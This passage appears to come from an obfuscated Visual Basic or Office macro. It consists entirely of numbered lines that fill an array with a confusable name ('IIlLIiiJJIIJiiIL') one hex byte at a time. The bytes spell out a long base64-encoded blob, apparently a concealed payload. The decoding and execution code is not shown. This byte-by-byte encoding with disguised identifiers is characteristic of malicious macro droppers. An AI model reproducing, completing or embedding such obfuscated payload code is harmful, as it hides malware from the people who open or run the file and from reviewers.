137	IIlLIiiJJIIJiiIL(213) = &H6F
137	IIlLIiiJJIIJiiIL(214) = &H57
137	IIlLIiiJJIIJiiIL(215) = &H65
137	IIlLIiiJJIIJiiIL(216) = &H36
137	IIlLIiiJJIIJiiIL(217) = &H34
137	IIlLIiiJJIIJiiIL(218) = &H43
137	IIlLIiiJJIIJiiIL(219) = &H47
137	IIlLIiiJJIIJiiIL(220) = &H5A
137	IIlLIiiJJIIJiiIL(221) = &H5A
137	IIlLIiiJJIIJiiIL(222) = &H2B
137	IIlLIiiJJIIJiiIL(223) = &H54
137	IIlLIiiJJIIJiiIL(224) = &H6B
138	IIlLIiiJJIIJiiIL(225) = &H51
138	IIlLIiiJJIIJiiIL(226) = &H5A
138	IIlLIiiJJIIJiiIL(227) = &H45
138	IIlLIiiJJIIJiiIL(228) = &H6E
138	IIlLIiiJJIIJiiIL(229) = &H68
138	IIlLIiiJJIIJiiIL(230) = &H64
138	IIlLIiiJJIIJiiIL(231) = &H78
138	IIlLIiiJJIIJiiIL(232) = &H6B
138	IIlLIiiJJIIJiiIL(233) = &H6B
138	IIlLIiiJJIIJiiIL(234) = &H41
138	IIlLIiiJJIIJiiIL(235) = &H78
138	IIlLIiiJJIIJiiIL(236) = &H6B
138	IIlLIiiJJIIJiiIL(237) = &H36
138	IIlLIiiJJIIJiiIL(238) = &H77
138	IIlLIiiJJIIJiiIL(239) = &H33
138	IIlLIiiJJIIJiiIL(240) = &H63
138	IIlLIiiJJIIJiiIL(241) = &H37
138	IIlLIiiJJIIJiiIL(242) = &H70
138	IIlLIiiJJIIJiiIL(243) = &H44
138	IIlLIiiJJIIJiiIL(244) = &H63
138	IIlLIiiJJIIJiiIL(245) = &H5A
138	IIlLIiiJJIIJiiIL(246) = &H4A
138	IIlLIiiJJIIJiiIL(247) = &H41
138	IIlLIiiJJIIJiiIL(248) = &H6F
138	IIlLIiiJJIIJiiIL(249) = &H5A
138	IIlLIiiJJIIJiiIL(250) = &H4F
138	IIlLIiiJJIIJiiIL(251) = &H45
138	IIlLIiiJJIIJiiIL(252) = &H50
138	IIlLIiiJJIIJiiIL(253) = &H33
138	IIlLIiiJJIIJiiIL(254) = &H50
138	IIlLIiiJJIIJiiIL(255) = &H57
138	IIlLIiiJJIIJiiIL(256) = &H52
139	IIlLIiiJJIIJiiIL(257) = &H6E
139	IIlLIiiJJIIJiiIL(258) = &H47
139	IIlLIiiJJIIJiiIL(259) = &H56
139	IIlLIiiJJIIJiiIL(260) = &H30
139	IIlLIiiJJIIJiiIL(261) = &H34
139	IIlLIiiJJIIJiiIL(262) = &H58
139	IIlLIiiJJIIJiiIL(263) = &H52
139	IIlLIiiJJIIJiiIL(264) = &H30
139	IIlLIiiJJIIJiiIL(265) = &H6B
139	IIlLIiiJJIIJiiIL(266) = &H48
139	IIlLIiiJJIIJiiIL(267) = &H52
139	IIlLIiiJJIIJiiIL(268) = &H74
139	IIlLIiiJJIIJiiIL(269) = &H37
139	IIlLIiiJJIIJiiIL(270) = &H4C
139	IIlLIiiJJIIJiiIL(271) = &H45
139	IIlLIiiJJIIJiiIL(272) = &H62
139	IIlLIiiJJIIJiiIL(273) = &H41
139	IIlLIiiJJIIJiiIL(274) = &H57
139	IIlLIiiJJIIJiiIL(275) = &H32
139	IIlLIiiJJIIJiiIL(276) = &H6B
139	IIlLIiiJJIIJiiIL(277) = &H61
139	IIlLIiiJJIIJiiIL(278) = &H52
139	IIlLIiiJJIIJiiIL(279) = &H76
139	IIlLIiiJJIIJiiIL(280) = &H68
139	IIlLIiiJJIIJiiIL(281) = &H6A
139	IIlLIiiJJIIJiiIL(282) = &H67
139	IIlLIiiJJIIJiiIL(283) = &H53
139	IIlLIiiJJIIJiiIL(284) = &H4F
139	IIlLIiiJJIIJiiIL(285) = &H35
139	IIlLIiiJJIIJiiIL(286) = &H47
139	IIlLIiiJJIIJiiIL(287) = &H33
139	IIlLIiiJJIIJiiIL(288) = &H6B
140	IIlLIiiJJIIJiiIL(289) = &H49
140	IIlLIiiJJIIJiiIL(290) = &H77
140	IIlLIiiJJIIJiiIL(291) = &H4E
140	IIlLIiiJJIIJiiIL(292) = &H51
140	IIlLIiiJJIIJiiIL(293) = &H34
140	IIlLIiiJJIIJiiIL(294) = &H35
140	IIlLIiiJJIIJiiIL(295) = &H64
140	IIlLIiiJJIIJiiIL(296) = &H39
140	IIlLIiiJJIIJiiIL(297) = &H44
140	IIlLIiiJJIIJiiIL(298) = &H45
140	IIlLIiiJJIIJiiIL(299) = &H41
140	IIlLIiiJJIIJiiIL(300) = &H62
140	IIlLIiiJJIIJiiIL(301) = &H6A
140	IIlLIiiJJIIJiiIL(302) = &H42
140	IIlLIiiJJIIJiiIL(303) = &H73
140	IIlLIiiJJIIJiiIL(304) = &H62
140	IIlLIiiJJIIJiiIL(305) = &H70
140	IIlLIiiJJIIJiiIL(306) = &H49
140	IIlLIiiJJIIJiiIL(307) = &H37
140	IIlLIiiJJIIJiiIL(308) = &H6B
140	IIlLIiiJJIIJiiIL(309) = &H6A
140	IIlLIiiJJIIJiiIL(310) = &H4F
140	IIlLIiiJJIIJiiIL(311) = &H54
140	IIlLIiiJJIIJiiIL(312) = &H55
140	IIlLIiiJJIIJiiIL(313) = &H6A
140	IIlLIiiJJIIJiiIL(314) = &H4F
140	IIlLIiiJJIIJiiIL(315) = &H54
140	IIlLIiiJJIIJiiIL(316) = &H6B
140	IIlLIiiJJIIJiiIL(317) = &H35
140	IIlLIiiJJIIJiiIL(318) = &H4F
140	IIlLIiiJJIIJiiIL(319) = &H53
140	IIlLIiiJJIIJiiIL(320) = &H30
141	IIlLIiiJJIIJiiIL(321) = &H35
141	IIlLIiiJJIIJiiIL(322) = &H49
141	IIlLIiiJJIIJiiIL(323) = &H37
141	IIlLIiiJJIIJiiIL(324) = &H7A
141	IIlLIiiJJIIJiiIL(325) = &H47
141	IIlLIiiJJIIJiiIL(326) = &H79
141	IIlLIiiJJIIJiiIL(327) = &H42
141	IIlLIiiJJIIJiiIL(328) = &H6E
141	IIlLIiiJJIIJiiIL(329) = &H62
141	IIlLIiiJJIIJiiIL(330) = &H65
141	IIlLIiiJJIIJiiIL(331) = &H77
141	IIlLIiiJJIIJiiIL(332) = &H6A
141	IIlLIiiJJIIJiiIL(333) = &H49
141	IIlLIiiJJIIJiiIL(334) = &H2B
141	IIlLIiiJJIIJiiIL(335) = &H43
141	IIlLIiiJJIIJiiIL(336) = &H6A
141	IIlLIiiJJIIJiiIL(337) = &H55
141	IIlLIiiJJIIJiiIL(338) = &H41
141	IIlLIiiJJIIJiiIL(339) = &H56
141	IIlLIiiJJIIJiiIL(340) = &H53
141	IIlLIiiJJIIJiiIL(341) = &H32
141	IIlLIiiJJIIJiiIL(342) = &H4B
141	IIlLIiiJJIIJiiIL(343) = &H4D
141	IIlLIiiJJIIJiiIL(344) = &H6A
141	IIlLIiiJJIIJiiIL(345) = &H64
141	IIlLIiiJJIIJiiIL(346) = &H4F
141	IIlLIiiJJIIJiiIL(347) = &H7A
141	IIlLIiiJJIIJiiIL(348) = &H6C
141	IIlLIiiJJIIJiiIL(349) = &H6D
141	IIlLIiiJJIIJiiIL(350) = &H69
141	IIlLIiiJJIIJiiIL(351) = &H4F
141	IIlLIiiJJIIJiiIL(352) = &H46
142	IIlLIiiJJIIJiiIL(353) = &H77
142	IIlLIiiJJIIJiiIL(354) = &H4B
142	IIlLIiiJJIIJiiIL(355) = &H4D
142	IIlLIiiJJIIJiiIL(356) = &H50
142	IIlLIiiJJIIJiiIL(357) = &H30
142	IIlLIiiJJIIJiiIL(358) = &H35
142	IIlLIiiJJIIJiiIL(359) = &H76
142	IIlLIiiJJIIJiiIL(360) = &H64
142	IIlLIiiJJIIJiiIL(361) = &H6F
142	IIlLIiiJJIIJiiIL(362) = &H79
142	IIlLIiiJJIIJiiIL(363) = &H50
142	IIlLIiiJJIIJiiIL(364) = &H61
142	IIlLIiiJJIIJiiIL(365) = &H78
142	IIlLIiiJJIIJiiIL(366) = &H4C
142	IIlLIiiJJIIJiiIL(367) = &H61
142	IIlLIiiJJIIJiiIL(368) = &H4C
142	IIlLIiiJJIIJiiIL(369) = &H49
142	IIlLIiiJJIIJiiIL(370) = &H2B
142	IIlLIiiJJIIJiiIL(371) = &H72
142	IIlLIiiJJIIJiiIL(372) = &H4D
142	IIlLIiiJJIIJiiIL(373) = &H6F
142	IIlLIiiJJIIJiiIL(374) = &H37
142	IIlLIiiJJIIJiiIL(375) = &H6E
142	IIlLIiiJJIIJiiIL(376) = &H62
142	IIlLIiiJJIIJiiIL(377) = &H2B
142	IIlLIiiJJIIJiiIL(378) = &H68
142	IIlLIiiJJIIJiiIL(379) = &H61
142	IIlLIiiJJIIJiiIL(380) = &H6A
142	IIlLIiiJJIIJiiIL(381) = &H49
142	IIlLIiiJJIIJiiIL(382) = &H32
142	IIlLIiiJJIIJiiIL(383) = &H66
142	IIlLIiiJJIIJiiIL(384) = &H38
143	IIlLIiiJJIIJiiIL(385) = &H30
143	IIlLIiiJJIIJiiIL(386) = &H76
143	IIlLIiiJJIIJiiIL(387) = &H45
143	IIlLIiiJJIIJiiIL(388) = &H6A
143	IIlLIiiJJIIJiiIL(389) = &H6C
143	IIlLIiiJJIIJiiIL(390) = &H65
143	IIlLIiiJJIIJiiIL(391) = &H69
143	IIlLIiiJJIIJiiIL(392) = &H6A
143	IIlLIiiJJIIJiiIL(393) = &H46
143	IIlLIiiJJIIJiiIL(394) = &H71
143	IIlLIiiJJIIJiiIL(395) = &H54
143	IIlLIiiJJIIJiiIL(396) = &H4B
143	IIlLIiiJJIIJiiIL(397) = &H72
143	IIlLIiiJJIIJiiIL(398) = &H61
143	IIlLIiiJJIIJiiIL(399) = &H4D
143	IIlLIiiJJIIJiiIL(400) = &H6A
143	IIlLIiiJJIIJiiIL(401) = &H44
143	IIlLIiiJJIIJiiIL(402) = &H76
143	IIlLIiiJJIIJiiIL(403) = &H51
143	IIlLIiiJJIIJiiIL(404) = &H30
143	IIlLIiiJJIIJiiIL(405) = &H78
143	IIlLIiiJJIIJiiIL(406) = &H69
143	IIlLIiiJJIIJiiIL(407) = &H50
143	IIlLIiiJJIIJiiIL(408) = &H64
143	IIlLIiiJJIIJiiIL(409) = &H38
143	IIlLIiiJJIIJiiIL(410) = &H4B
143	IIlLIiiJJIIJiiIL(411) = &H4F
143	IIlLIiiJJIIJiiIL(412) = &H70
143	IIlLIiiJJIIJiiIL(413) = &H38
143	IIlLIiiJJIIJiiIL(414) = &H79
143	IIlLIiiJJIIJiiIL(415) = &H70
143	IIlLIiiJJIIJiiIL(416) = &H57
144	IIlLIiiJJIIJiiIL(417) = &H6F
144	IIlLIiiJJIIJiiIL(418) = &H79
144	IIlLIiiJJIIJiiIL(419) = &H4E
144	IIlLIiiJJIIJiiIL(420) = &H67
144	IIlLIiiJJIIJiiIL(421) = &H2B
144	IIlLIiiJJIIJiiIL(422) = &H45
144	IIlLIiiJJIIJiiIL(423) = &H52
144	IIlLIiiJJIIJiiIL(424) = &H43
144	IIlLIiiJJIIJiiIL(425) = &H49
144	IIlLIiiJJIIJiiIL(426) = &H36
144	IIlLIiiJJIIJiiIL(427) = &H48
144	IIlLIiiJJIIJiiIL(428) = &H49
144	IIlLIiiJJIIJiiIL(429) = &H6F
144	IIlLIiiJJIIJiiIL(430) = &H77
144	IIlLIiiJJIIJiiIL(431) = &H74
144	IIlLIiiJJIIJiiIL(432) = &H6D
144	IIlLIiiJJIIJiiIL(433) = &H58
144	IIlLIiiJJIIJiiIL(434) = &H2B
144	IIlLIiiJJIIJiiIL(435) = &H75
144	IIlLIiiJJIIJiiIL(436) = &H6A
144	IIlLIiiJJIIJiiIL(437) = &H49
144	IIlLIiiJJIIJiiIL(438) = &H37
144	IIlLIiiJJIIJiiIL(439) = &H6A
144	IIlLIiiJJIIJiiIL(440) = &H55
144	IIlLIiiJJIIJiiIL(441) = &H55
144	IIlLIiiJJIIJiiIL(442) = &H64
144	IIlLIiiJJIIJiiIL(443) = &H59
144	IIlLIiiJJIIJiiIL(444) = &H6A
144	IIlLIiiJJIIJiiIL(445) = &H50
144	IIlLIiiJJIIJiiIL(446) = &H39
144	IIlLIiiJJIIJiiIL(447) = &H43
144	IIlLIiiJJIIJiiIL(448) = &H6A
145	IIlLIiiJJIIJiiIL(449) = &H6F
145	IIlLIiiJJIIJiiIL(450) = &H36
145	IIlLIiiJJIIJiiIL(451) = &H79
145	IIlLIiiJJIIJiiIL(452) = &H37
145	IIlLIiiJJIIJiiIL(453) = &H77
145	IIlLIiiJJIIJiiIL(454) = &H71
145	IIlLIiiJJIIJiiIL(455) = &H4D
145	IIlLIiiJJIIJiiIL(456) = &H6A
145	IIlLIiiJJIIJiiIL(457) = &H5A
145	IIlLIiiJJIIJiiIL(458) = &H64
145	IIlLIiiJJIIJiiIL(459) = &H7A
145	IIlLIiiJJIIJiiIL(460) = &H75
145	IIlLIiiJJIIJiiIL(461) = &H32
145	IIlLIiiJJIIJiiIL(462) = &H69
145	IIlLIiiJJIIJiiIL(463) = &H4F
145	IIlLIiiJJIIJiiIL(464) = &H45
145	IIlLIiiJJIIJiiIL(465) = &H32
145	IIlLIiiJJIIJiiIL(466) = &H4B
145	IIlLIiiJJIIJiiIL(467) = &H4D
145	IIlLIiiJJIIJiiIL(468) = &H39
145	IIlLIiiJJIIJiiIL(469) = &H6D
145	IIlLIiiJJIIJiiIL(470) = &H64
145	IIlLIiiJJIIJiiIL(471) = &H63
145	IIlLIiiJJIIJiiIL(472) = &H69
145	IIlLIiiJJIIJiiIL(473) = &H6F
145	IIlLIiiJJIIJiiIL(474) = &H79
145	IIlLIiiJJIIJiiIL(475) = &H4F
145	IIlLIiiJJIIJiiIL(476) = &H4F
145	IIlLIiiJJIIJiiIL(477) = &H70
145	IIlLIiiJJIIJiiIL(478) = &H4F
145	IIlLIiiJJIIJiiIL(479) = &H78
145	IIlLIiiJJIIJiiIL(480) = &H54
146	IIlLIiiJJIIJiiIL(481) = &H49
146	IIlLIiiJJIIJiiIL(482) = &H31
146	IIlLIiiJJIIJiiIL(483) = &H32
146	IIlLIiiJJIIJiiIL(484) = &H67
146	IIlLIiiJJIIJiiIL(485) = &H6F
146	IIlLIiiJJIIJiiIL(486) = &H78
146	IIlLIiiJJIIJiiIL(487) = &H4B
146	IIlLIiiJJIIJiiIL(488) = &H46
146	IIlLIiiJJIIJiiIL(489) = &H54
146	IIlLIiiJJIIJiiIL(490) = &H55
146	IIlLIiiJJIIJiiIL(491) = &H61
146	IIlLIiiJJIIJiiIL(492) = &H6A
146	IIlLIiiJJIIJiiIL(493) = &H49
146	IIlLIiiJJIIJiiIL(494) = &H7A
146	IIlLIiiJJIIJiiIL(495) = &H71
146	IIlLIiiJJIIJiiIL(496) = &H73
146	IIlLIiiJJIIJiiIL(497) = &H55
146	IIlLIiiJJIIJiiIL(498) = &H6C
146	IIlLIiiJJIIJiiIL(499) = &H63
146	IIlLIiiJJIIJiiIL(500) = &H6A
146	IIlLIiiJJIIJiiIL(501) = &H6F
146	IIlLIiiJJIIJiiIL(502) = &H31
146	IIlLIiiJJIIJiiIL(503) = &H44
146	IIlLIiiJJIIJiiIL(504) = &H6A
146	IIlLIiiJJIIJiiIL(505) = &H6C
146	IIlLIiiJJIIJiiIL(506) = &H33
146	IIlLIiiJJIIJiiIL(507) = &H30
146	IIlLIiiJJIIJiiIL(508) = &H6A
146	IIlLIiiJJIIJiiIL(509) = &H51
146	IIlLIiiJJIIJiiIL(510) = &H4B
146	IIlLIiiJJIIJiiIL(511) = &H69
146	IIlLIiiJJIIJiiIL(512) = &H6A
147	IIlLIiiJJIIJiiIL(513) = &H6E
147	IIlLIiiJJIIJiiIL(514) = &H6E
147	IIlLIiiJJIIJiiIL(515) = &H69
147	IIlLIiiJJIIJiiIL(516) = &H58
147	IIlLIiiJJIIJiiIL(517) = &H46
147	IIlLIiiJJIIJiiIL(518) = &H4B
147	IIlLIiiJJIIJiiIL(519) = &H4D
147	IIlLIiiJJIIJiiIL(520) = &H6A
147	IIlLIiiJJIIJiiIL(521) = &H78
147	IIlLIiiJJIIJiiIL(522) = &H62
147	IIlLIiiJJIIJiiIL(523) = &H51
147	IIlLIiiJJIIJiiIL(524) = &H46
147	IIlLIiiJJIIJiiIL(525) = &H46
147	IIlLIiiJJIIJiiIL(526) = &H53
147	IIlLIiiJJIIJiiIL(527) = &H4E
147	IIlLIiiJJIIJiiIL(528) = &H72
147	IIlLIiiJJIIJiiIL(529) = &H73
147	IIlLIiiJJIIJiiIL(530) = &H4B
147	IIlLIiiJJIIJiiIL(531) = &H4F
147	IIlLIiiJJIIJiiIL(532) = &H72
147	IIlLIiiJJIIJiiIL(533) = &H54
147	IIlLIiiJJIIJiiIL(534) = &H6A
147	IIlLIiiJJIIJiiIL(535) = &H36
147	IIlLIiiJJIIJiiIL(536) = &H46
147	IIlLIiiJJIIJiiIL(537) = &H55
147	IIlLIiiJJIIJiiIL(538) = &H51
147	IIlLIiiJJIIJiiIL(539) = &H77
147	IIlLIiiJJIIJiiIL(540) = &H62
147	IIlLIiiJJIIJiiIL(541) = &H47
147	IIlLIiiJJIIJiiIL(542) = &H6F
147	IIlLIiiJJIIJiiIL(543) = &H77
147	IIlLIiiJJIIJiiIL(544) = &H62
148	IIlLIiiJJIIJiiIL(545) = &H69
148	IIlLIiiJJIIJiiIL(546) = &H6F
148	IIlLIiiJJIIJiiIL(547) = &H76
148	IIlLIiiJJIIJiiIL(548) = &H6B
148	IIlLIiiJJIIJiiIL(549) = &H35
148	IIlLIiiJJIIJiiIL(550) = &H4A
148	IIlLIiiJJIIJiiIL(551) = &H47
148	IIlLIiiJJIIJiiIL(552) = &H4D
148	IIlLIiiJJIIJiiIL(553) = &H69
148	IIlLIiiJJIIJiiIL(554) = &H4A
148	IIlLIiiJJIIJiiIL(555) = &H5A
148	IIlLIiiJJIIJiiIL(556) = &H70
148	IIlLIiiJJIIJiiIL(557) = &H69
148	IIlLIiiJJIIJiiIL(558) = &H63
148	IIlLIiiJJIIJiiIL(559) = &H44
148	IIlLIiiJJIIJiiIL(560) = &H67
148	IIlLIiiJJIIJiiIL(561) = &H47
148	IIlLIiiJJIIJiiIL(562) = &H37
148	IIlLIiiJJIIJiiIL(563) = &H54
148	IIlLIiiJJIIJiiIL(564) = &H67
148	IIlLIiiJJIIJiiIL(565) = &H73
148	IIlLIiiJJIIJiiIL(566) = &H79
148	IIlLIiiJJIIJiiIL(567) = &H42
148	IIlLIiiJJIIJiiIL(568) = &H6E
148	IIlLIiiJJIIJiiIL(569) = &H62
148	IIlLIiiJJIIJiiIL(570) = &H65
148	IIlLIiiJJIIJiiIL(571) = &H77
148	IIlLIiiJJIIJiiIL(572) = &H6A
148	IIlLIiiJJIIJiiIL(573) = &H49
148	IIlLIiiJJIIJiiIL(574) = &H6F
148	IIlLIiiJJIIJiiIL(575) = &H53
148	IIlLIiiJJIIJiiIL(576) = &H6A
149	IIlLIiiJJIIJiiIL(577) = &H38
149	IIlLIiiJJIIJiiIL(578) = &H72
149	IIlLIiiJJIIJiiIL(579) = &H66
149	IIlLIiiJJIIJiiIL(580) = &H45
149	IIlLIiiJJIIJiiIL(581) = &H35
149	IIlLIiiJJIIJiiIL(582) = &H71
149	IIlLIiiJJIIJiiIL(583) = &H4D
149	IIlLIiiJJIIJiiIL(584) = &H6A
149	IIlLIiiJJIIJiiIL(585) = &H52
149	IIlLIiiJJIIJiiIL(586) = &H34
149	IIlLIiiJJIIJiiIL(587) = &H43
149	IIlLIiiJJIIJiiIL(588) = &H4E
149	IIlLIiiJJIIJiiIL(589) = &H6D
149	IIlLIiiJJIIJiiIL(590) = &H37
149	IIlLIiiJJIIJiiIL(591) = &H4D
149	IIlLIiiJJIIJiiIL(592) = &H42
149	IIlLIiiJJIIJiiIL(593) = &H6D
149	IIlLIiiJJIIJiiIL(594) = &H32
149	IIlLIiiJJIIJiiIL(595) = &H6B
149	IIlLIiiJJIIJiiIL(596) = &H4D
149	IIlLIiiJJIIJiiIL(597) = &H68
149	IIlLIiiJJIIJiiIL(598) = &H42
149	IIlLIiiJJIIJiiIL(599) = &H70
149	IIlLIiiJJIIJiiIL(600) = &H73
149	IIlLIiiJJIIJiiIL(601) = &H47
149	IIlLIiiJJIIJiiIL(602) = &H78
149	IIlLIiiJJIIJiiIL(603) = &H76
149	IIlLIiiJJIIJiiIL(604) = &H56
149	IIlLIiiJJIIJiiIL(605) = &H75
149	IIlLIiiJJIIJiiIL(606) = &H32
149	IIlLIiiJJIIJiiIL(607) = &H6B
149	IIlLIiiJJIIJiiIL(608) = &H6B
150	IIlLIiiJJIIJiiIL(609) = &H70
150	IIlLIiiJJIIJiiIL(610) = &H47
150	IIlLIiiJJIIJiiIL(611) = &H6E
150	IIlLIiiJJIIJiiIL(612) = &H6B
150	IIlLIiiJJIIJiiIL(613) = &H35
150	IIlLIiiJJIIJiiIL(614) = &H6D
150	IIlLIiiJJIIJiiIL(615) = &H6E
150	IIlLIiiJJIIJiiIL(616) = &H6B
150	IIlLIiiJJIIJiiIL(617) = &H69
150	IIlLIiiJJIIJiiIL(618) = &H4C
150	IIlLIiiJJIIJiiIL(619) = &H75
150	IIlLIiiJJIIJiiIL(620) = &H30
150	IIlLIiiJJIIJiiIL(621) = &H74
150	IIlLIiiJJIIJiiIL(622) = &H4F
150	IIlLIiiJJIIJiiIL(623) = &H53
150	IIlLIiiJJIIJiiIL(624) = &H4D
150	IIlLIiiJJIIJiiIL(625) = &H35
150	IIlLIiiJJIIJiiIL(626) = &H4F
150	IIlLIiiJJIIJiiIL(627) = &H57
150	IIlLIiiJJIIJiiIL(628) = &H33
150	IIlLIiiJJIIJiiIL(629) = &H35
150	IIlLIiiJJIIJiiIL(630) = &H4C
150	IIlLIiiJJIIJiiIL(631) = &H53
150	IIlLIiiJJIIJiiIL(632) = &H31
150	IIlLIiiJJIIJiiIL(633) = &H73
150	IIlLIiiJJIIJiiIL(634) = &H78
150	IIlLIiiJJIIJiiIL(635) = &H74
150	IIlLIiiJJIIJiiIL(636) = &H6E
150	IIlLIiiJJIIJiiIL(637) = &H67
150	IIlLIiiJJIIJiiIL(638) = &H4F
150	IIlLIiiJJIIJiiIL(639) = &H51
150	IIlLIiiJJIIJiiIL(640) = &H63
151	IIlLIiiJJIIJiiIL(641) = &H73
151	IIlLIiiJJIIJiiIL(642) = &H35
151	IIlLIiiJJIIJiiIL(643) = &H45
151	IIlLIiiJJIIJiiIL(644) = &H6B
151	IIlLIiiJJIIJiiIL(645) = &H31
151	IIlLIiiJJIIJiiIL(646) = &H59
151	IIlLIiiJJIIJiiIL(647) = &H36
151	IIlLIiiJJIIJiiIL(648) = &H30
151	IIlLIiiJJIIJiiIL(649) = &H6A
151	IIlLIiiJJIIJiiIL(650) = &H75
151	IIlLIiiJJIIJiiIL(651) = &H57
151	IIlLIiiJJIIJiiIL(652) = &H30
151	IIlLIiiJJIIJiiIL(653) = &H35
151	IIlLIiiJJIIJiiIL(654) = &H2B
151	IIlLIiiJJIIJiiIL(655) = &H57
151	IIlLIiiJJIIJiiIL(656) = &H4F
151	IIlLIiiJJIIJiiIL(657) = &H35
151	IIlLIiiJJIIJiiIL(658) = &H49
151	IIlLIiiJJIIJiiIL(659) = &H7A
151	IIlLIiiJJIIJiiIL(660) = &H6B
151	IIlLIiiJJIIJiiIL(661) = &H35
151	IIlLIiiJJIIJiiIL(662) = &H4C
151	IIlLIiiJJIIJiiIL(663) = &H64
151	IIlLIiiJJIIJiiIL(664) = &H6B
151	IIlLIiiJJIIJiiIL(665) = &H73
151	IIlLIiiJJIIJiiIL(666) = &H78
151	IIlLIiiJJIIJiiIL(667) = &H75
151	IIlLIiiJJIIJiiIL(668) = &H30
151	IIlLIiiJJIIJiiIL(669) = &H36
151	IIlLIiiJJIIJiiIL(670) = &H48
151	IIlLIiiJJIIJiiIL(671) = &H74
151	IIlLIiiJJIIJiiIL(672) = &H70
152	IIlLIiiJJIIJiiIL(673) = &H35
152	IIlLIiiJJIIJiiIL(674) = &H59
152	IIlLIiiJJIIJiiIL(675) = &H6A
152	IIlLIiiJJIIJiiIL(676) = &H6B
152	IIlLIiiJJIIJiiIL(677) = &H35
152	IIlLIiiJJIIJiiIL(678) = &H4F
152	IIlLIiiJJIIJiiIL(679) = &H53
152	IIlLIiiJJIIJiiIL(680) = &H4F
152	IIlLIiiJJIIJiiIL(681) = &H38
152	IIlLIiiJJIIJiiIL(682) = &H47
152	IIlLIiiJJIIJiiIL(683) = &H6D
152	IIlLIiiJJIIJiiIL(684) = &H4F
152	IIlLIiiJJIIJiiIL(685) = &H77
152	IIlLIiiJJIIJiiIL(686) = &H4C
152	IIlLIiiJJIIJiiIL(687) = &H62
152	IIlLIiiJJIIJiiIL(688) = &H6B
152	IIlLIiiJJIIJiiIL(689) = &H35
152	IIlLIiiJJIIJiiIL(690) = &H49
152	IIlLIiiJJIIJiiIL(691) = &H7A
152	IIlLIiiJJIIJiiIL(692) = &H6B
152	IIlLIiiJJIIJiiIL(693) = &H74
152	IIlLIiiJJIIJiiIL(694) = &H4C
152	IIlLIiiJJIIJiiIL(695) = &H66
152	IIlLIiiJJIIJiiIL(696) = &H6B
152	IIlLIiiJJIIJiiIL(697) = &H47
152	IIlLIiiJJIIJiiIL(698) = &H37
152	IIlLIiiJJIIJiiIL(699) = &H53
152	IIlLIiiJJIIJiiIL(700) = &H67
152	IIlLIiiJJIIJiiIL(701) = &H73
152	IIlLIiiJJIIJiiIL(702) = &H79
152	IIlLIiiJJIIJiiIL(703) = &H42
152	IIlLIiiJJIIJiiIL(704) = &H6E
153	IIlLIiiJJIIJiiIL(705) = &H76
153	IIlLIiiJJIIJiiIL(706) = &H4F
153	IIlLIiiJJIIJiiIL(707) = &H41
153	IIlLIiiJJIIJiiIL(708) = &H62
153	IIlLIiiJJIIJiiIL(709) = &H74
153	IIlLIiiJJIIJiiIL(710) = &H50
153	IIlLIiiJJIIJiiIL(711) = &H69
153	IIlLIiiJJIIJiiIL(712) = &H7A
153	IIlLIiiJJIIJiiIL(713) = &H4F
153	IIlLIiiJJIIJiiIL(714) = &H6D
153	IIlLIiiJJIIJiiIL(715) = &H33
153	IIlLIiiJJIIJiiIL(716) = &H79
153	IIlLIiiJJIIJiiIL(717) = &H45
153	IIlLIiiJJIIJiiIL(718) = &H74
153	IIlLIiiJJIIJiiIL(719) = &H4A
153	IIlLIiiJJIIJiiIL(720) = &H6B
153	IIlLIiiJJIIJiiIL(721) = &H6F
153	IIlLIiiJJIIJiiIL(722) = &H73
153	IIlLIiiJJIIJiiIL(723) = &H4C
153	IIlLIiiJJIIJiiIL(724) = &H61
153	IIlLIiiJJIIJiiIL(725) = &H5A
153	IIlLIiiJJIIJiiIL(726) = &H58
153	IIlLIiiJJIIJiiIL(727) = &H4A
153	IIlLIiiJJIIJiiIL(728) = &H42
153	IIlLIiiJJIIJiiIL(729) = &H35
153	IIlLIiiJJIIJiiIL(730) = &H32
153	IIlLIiiJJIIJiiIL(731) = &H6B
153	IIlLIiiJJIIJiiIL(732) = &H57
153	IIlLIiiJJIIJiiIL(733) = &H6B
153	IIlLIiiJJIIJiiIL(734) = &H64
153	IIlLIiiJJIIJiiIL(735) = &H39
153	IIlLIiiJJIIJiiIL(736) = &H6B
154	IIlLIiiJJIIJiiIL(737) = &H6B
154	IIlLIiiJJIIJiiIL(738) = &H48
154	IIlLIiiJJIIJiiIL(739) = &H52
154	IIlLIiiJJIIJiiIL(740) = &H6B
154	IIlLIiiJJIIJiiIL(741) = &H36
154	IIlLIiiJJIIJiiIL(742) = &H43
154	IIlLIiiJJIIJiiIL(743) = &H6A
154	IIlLIiiJJIIJiiIL(744) = &H66
154	IIlLIiiJJIIJiiIL(745) = &H34
154	IIlLIiiJJIIJiiIL(746) = &H35
154	IIlLIiiJJIIJiiIL(747) = &H44
154	IIlLIiiJJIIJiiIL(748) = &H66
154	IIlLIiiJJIIJiiIL(749) = &H5A
154	IIlLIiiJJIIJiiIL(750) = &H4A
154	IIlLIiiJJIIJiiIL(751) = &H42
154	IIlLIiiJJIIJiiIL(752) = &H74
154	IIlLIiiJJIIJiiIL(753) = &H44
154	IIlLIiiJJIIJiiIL(754) = &H2B
154	IIlLIiiJJIIJiiIL(755) = &H59
154	IIlLIiiJJIIJiiIL(756) = &H62
154	IIlLIiiJJIIJiiIL(757) = &H35
154	IIlLIiiJJIIJiiIL(758) = &H6D
154	IIlLIiiJJIIJiiIL(759) = &H63
154	IIlLIiiJJIIJiiIL(760) = &H48
154	IIlLIiiJJIIJiiIL(761) = &H32
154	IIlLIiiJJIIJiiIL(762) = &H43
154	IIlLIiiJJIIJiiIL(763) = &H41
154	IIlLIiiJJIIJiiIL(764) = &H74
154	IIlLIiiJJIIJiiIL(765) = &H75
154	IIlLIiiJJIIJiiIL(766) = &H53
154	IIlLIiiJJIIJiiIL(767) = &H65
154	IIlLIiiJJIIJiiIL(768) = &H46
155	IIlLIiiJJIIJiiIL(769) = &H6B
155	IIlLIiiJJIIJiiIL(770) = &H49
155	IIlLIiiJJIIJiiIL(771) = &H79
155	IIlLIiiJJIIJiiIL(772) = &H55
155	IIlLIiiJJIIJiiIL(773) = &H6B
155	IIlLIiiJJIIJiiIL(774) = &H4D
155	IIlLIiiJJIIJiiIL(775) = &H76
155	IIlLIiiJJIIJiiIL(776) = &H65
155	IIlLIiiJJIIJiiIL(777) = &H6B
155	IIlLIiiJJIIJiiIL(778) = &H38
155	IIlLIiiJJIIJiiIL(779) = &H75
155	IIlLIiiJJIIJiiIL(780) = &H57
155	IIlLIiiJJIIJiiIL(781) = &H69
